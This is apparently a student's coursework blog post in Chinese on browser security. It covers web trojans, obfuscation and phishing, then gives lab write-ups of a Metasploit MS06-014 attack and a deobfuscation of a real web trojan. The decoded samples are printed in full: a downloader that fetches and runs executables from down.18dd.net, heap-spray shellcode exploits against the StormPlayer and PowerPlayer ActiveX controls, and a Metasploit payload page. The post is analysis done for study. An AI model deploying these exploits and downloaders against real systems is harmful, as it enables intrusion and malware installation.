20199301 2019-2020-2 《网络攻防实践》 第十二周作业

20199301 2019-2020-2 《网络攻防实践》 第十二周作业

第十二章 Web浏览器安全攻防

一、实践内容

web浏览器的技术发展与安全威胁

web浏览器战争与技术发展

  • Web浏览器(Web Browser):是目前互联网用户最常用的客户端软件,可以帮助用户浏览Web服务器上的文件,并让用户与这些文件进行交互,在Web浏览器的帮助下,互联网用户能够迅速及轻易地浏览万维网上文字、图像、视频等各种形态的信息内容,以及访问各种形式与用途的Web应用程序。

  • 浏览器战争:浏览器大战,指不同的网络浏览器之间的市场份额竞争。常用来指以下两组竞争:第一组是20世纪时微软公司的Internet Explorer取代了网景公司,Netscape Navigator主导地位,这场大战甚至引发了美国诉微软案官司。第二组为2003年后Internet Explorer份额遭其他浏览器蚕食,包括Mozilla Firefox,Google Chrome,Safari和Opera。

  • 现代web浏览器的基本结构与机理
    -

web浏览器的安全问题与威胁

  • web浏览器软件的安全困境三要素:
    - 复杂性:现代Web浏览器软件由于需要支持HTTP、HTTPS、 FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、 SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大,这意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。

    - 可扩展性:现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前儿乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。而相对于大型软件厂商所开发的浏览器软件本身而言,三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。
    
    - 连通性:现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
    

web浏览器安全威胁位置

  - 针对传输网络的网络安全协议安全威胁:网络是连接 Web 应用服务端与客户端浏览环境的媒介,服务器端同样面临着网络传输协议安全攻击与威胁

  - 针对Web端系统平台的安全威胁:浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得 Web 浏览环境存在着被攻击的风险。针对 Windows 桌面系统的渗透攻击与恶意代码是目前网络安全威胁的主要形态

  - 针对Web浏览器软件及插件程序的渗透攻击威胁:通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序

  - 针对互联网用户的社会工程学攻击:Web浏览安全威胁类型包括(1)网络钓鱼(Phishing)

(2)恶意木马与流氓软件下载(3)网页木马-浏览器渗透攻击(4)不良信息内容

web浏览器的渗透攻击威胁--网页木马

网页木马安全威胁的产生背景

  • 产生背景:网页木马是从恶意网页脚本所孕育和发展出来的。自从Web浏览器在20世纪90年代中期引入了Java Applet, JavaScript, VBScript等客户端执行脚本语言之后,黑客们开始利用这种可以在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,来对Web浏览器及客户端计算机实施攻击,如早期的浏览器主页劫持、网页炸弹等。而黑客们进一步发掘出在浏览端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取得到访问权的机会,在浏览端植入恶意程序或进行其他任意操作,从而发挥在哪给出网页木马这种网络攻击技术。

  • 网页木马发胀与流行的驱动力--黑客地下经济链

网页木马的技术基础--web浏览器安全漏洞

  • 网页木马所攻击的安全漏洞的存在位置非常多样化,包括Web浏览器自身、浏览器插件、关联某些Web文件的应用程序等。

  • 除了微软操作系统平台软件本身的安全漏洞之外,网页木马近年来也在不断地发掘和利用其他流-行应用软件中的安全漏洞。

  • 一些影响范围广的安全漏洞,如MS06-014, 会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机。

网页木马的机理分析

  • 网页木马的定义特征:网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScirpt 实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

  • 网页木马的机理:
    - 网页木马的攻击是被动的(需要诱使用户访问网页木马页面)、多步骤的。
    - 网页木马的攻击技术流程图:

    - 网页木马特性
    - 多样化的客户端渗透攻击位置和技术类型:为提升渗透攻击成功率(中马率),攻击者会集成多样化的客户端渗透攻击代码。
    - 分布式、复杂的微观链接结构:为扩大攻击范围,攻击者会采用多个网页木马宿主站点,引入中间跳转站点提升防御方的分析代价。
    - 灵活多变的混淆与对抗分析能力:为躲避反病毒检测,攻击者利用Web客户端脚本语言的灵活机制对网页木马进行混淆处理。

  • 网页挂马机制
    - 内嵌HTML标签,将网页木马链接嵌入到网站页面中,最常用千网页挂马的内嵌标签为ifame,iframe的功能是在页面中创建一个内嵌的框架,用于包含和显示其他文档页面,当包含页面被浏览器打开时,被包含的页面也会同时被请求并显示在内嵌框架中
    - 恶意Script脚本,利用script脚本标签通过外部引用脚本的方式来包含网页木马,跳转脚本通常使用document.write动态生成包含网页木马链接的iframe内嵌标签
    - 内嵌对象链接,利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载
    - ARP欺骗挂马,在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间入攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点

  • 混淆机制:

    • 提高反病毒工程师的分析难度,从而使得网页木马攻击网络更加难以被检测和摧毁
      - 比较广泛使用的混淆方法:
      • 将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
      • 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
      • 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write() 或 eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具
      • 利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行
      • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等
  • 网页木马防范措施
    - 提升操作系统与浏览器软件的安全性,如第三方插件自动更新
    - 安装反病毒软件
    - 养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站

揭开网络钓鱼的黑幕

网络钓鱼技术概述

  • 概念:网络钓鱼 (Phishing)攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动,受骗者往往会泄露自己的私人资料,如信用卡号、银行卡账户、身份证号等内容。诈骗者通常会将自己伪装成网络银行、在线零售商和信用卡公司等可信的品牌,骗取用户的私人信息。

网络钓鱼攻击的技术内幕

  • 钓鱼攻击策略-架设钓鱼网站
    - 大规模扫描有漏洞的主机并攻陷主机,使用批扫描工具,自动攻击工具。
    - 前台假冒网站:知名的金融机构、在线电子商务网站。
    - 后台脚本:收集、验证用户输入,并通过某种渠道转发给钓鱼者。
  • 钓鱼攻击策略-欺骗技术
    - 欺骗用户访问钓鱼网站:DNS中毒攻击、网络流量重定向、社会工程学-欺骗性垃圾邮件。
    - 欺骗性垃圾邮件:发送途径-难以追踪、发送源-冒充知名权威机构、发送内容-安全理由、紧急事件,欺骗用户访问钓鱼网站,给出敏感个人信息。
  • 钓鱼攻击技术流程
    - 攻击者扫描网段,寻找存有漏洞的服务器
    - 服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具
    - 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行
    - 攻击者下载群发电子邮件工具,大规模发送包含假冒钓鱼网站信息的欺骗性垃圾
    - 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息

网络钓鱼攻击的防范

  • 增强安全意识。提高警惕
  • 适用安全软件,不在不明网站上预留个人信息
  • 了解网站钓鱼安全威胁与技巧

二、实践过程

实践一:浏览器渗透攻击实践

实践任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实践环境:

  • 攻击机:Kali、靶机:Windows靶机。
  • 选择使用Metasploit中的MS06-014渗透攻击模块。
  • 选择PAYLOAD为任意远程Shell连接。
  • 设置LHOST参数,运行exploit,构造出恶意网页脚本。
  • 在靶机环境中启动浏览器,访问恶意网页脚本URL。
  • 查看建立起的远程控制会话SESSION。

1、我们在kali中msfconsole来打开metaspolit并选择漏洞
设置攻击机和靶机的地址,
设置payload为set payload windows/meterpreter/reverse_tcp
执行run,可以看到

2、我们用靶机访问所得浏览器,返回了一串字符

3、我们可以看到攻击机建立了会话窗口,表示攻击成功~

4、接下来我们进行验证,执行session -i 1,我们可以看到session建立成功~

实践二:剖析一个世纪的网页木马攻击场景
(这个实践是看课上孙同学的分享讲解之后开始做的,但发现在做实践的过程中还是有很多地方不理解,需要再看几遍回放~)

实践任务:

  • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
  • 网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
  • 从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
  • 解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的?

1、发现网页无法下载start.html
开始找指导书里的代码,并找到相关信息
可以看出start.html在引用是没有写绝对路径,可知文件start.html和ne09.html在统一和文件目录下,我们下载下来打开

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>

<script language="javascript" type="text/javascript"

src="http://js.users.51.la/1299644.js"></script>

2、利用MD5散列得到:

MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3

MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3

http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3

http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3

3、我们来打开这俩文件(天呐 那么多~~~)

4、查看倒数第三行:

t=utf8to16(xxtea_decrypt(base64decode(t), 
'\x73\x63\x72\x69\x70\x74'));

可以看到xxtea_decrypt函数的第二个参数就是密钥。密钥使用了16进制加密。转换一下,密钥是“script”。

5、我们把解密后的内容复制过来,可以看到:

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x……………………………………
</script>

6、我们再解密:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

(其实这段代码孙启龙同学讲解了一遍,发现是明白了一点~~~)

7、我们将下列的文件一一打开:

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4

MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166

MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2

MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

8、打开的第一个文件:

9、解密得到:

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

10、打开b.js得到

11、解密得到:

var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

12、我们将%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000进行转换

13、解密得到:://down.18dd.net/bb/bf.exe

14、我们再看pps.js

解密后得到:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

15、得到它对应的可执行文件路径:http://down.18dd.net/bb/pps.exe

16、我们对上面三个文件进行MD5散列如下;

MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

17、我们得出这些文件内容完全相同。
我们在xp中将这些文件中的任意一个复制进去,并用PEID查看文件的加壳情况。(我们可以看到是用dhlphi编写的)

18、再用IDA反汇编这个文件

19、这个程序可能生成一个"Alletdel.bat"批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件,这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序。

20、这个程序下载一堆木马,有20条如下的字符串

实践三:web浏览器渗透攻击对抗实验

实践任务攻击方使用 Metasploit 构造出攻击至少两个不同 Web 浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态, 并分析出这些渗透代码都是攻击哪些 Web 浏览端软件的哪些安全漏洞。双方撰写详细实验分析报告, 对攻防对抗过程进行总结。这个实验所使用攻击机为 kail,靶机为 win 2kS。

1、首先跟第一个实践一样先构建一个漏洞
我们将链接复制到kali中,我们可以看到如图:

2、我们利用工具,去掉代码中的空格,得到:

< html > < head > < title > < /title><script language="javascript">function NMTecHqTwlncd(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function uuAbyFHRrcPdFfbNYhEOQzLI(a){var s=NMTecHqTwlncd(a,"WScript.Shell");var o=NMTecHqTwlncd(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload
';var xml=null;var bin=e.Item("TEMP")+"XHfsyzhkBIAE.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function BeMvp(){var i=0;var t=new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
    7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
    6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
    6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
    06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
    639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
    BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
    D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
    E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
    AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
    0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
    0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' {
    '){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=NMTecHqTwlncd(a,"WScript.Shell");if(b){uuAbyFHRrcPdFfbNYhEOQzLI(a);return(0)}}catch(e){}}i++}}</script></head><body onload='
    BeMvp()
    '>EPboqnoNqNOztTdS</body></html>

三、学习中遇到的问题及解决

问题一:这次的实践作业又写难,从知识点梳理开始有许多的概念都不清楚
解决:每一个不懂得概念一个一个百度,看相关博客~~~
问题二:对于实践二,一开始无从下手还是源于对很多知识点的不知
解决:课上孙同学的详细讲解,总算是知道该如何一步步下手,但是在过程中依然有些无助,再看看回放~~~

四、实践总结

这是最后一次的实践了,需要再从第三周开始再将所有过程过一遍、实践一遍或许会有意外的收获吧~~

猜你喜欢

转载自www.cnblogs.com/lsqz/p/12932052.html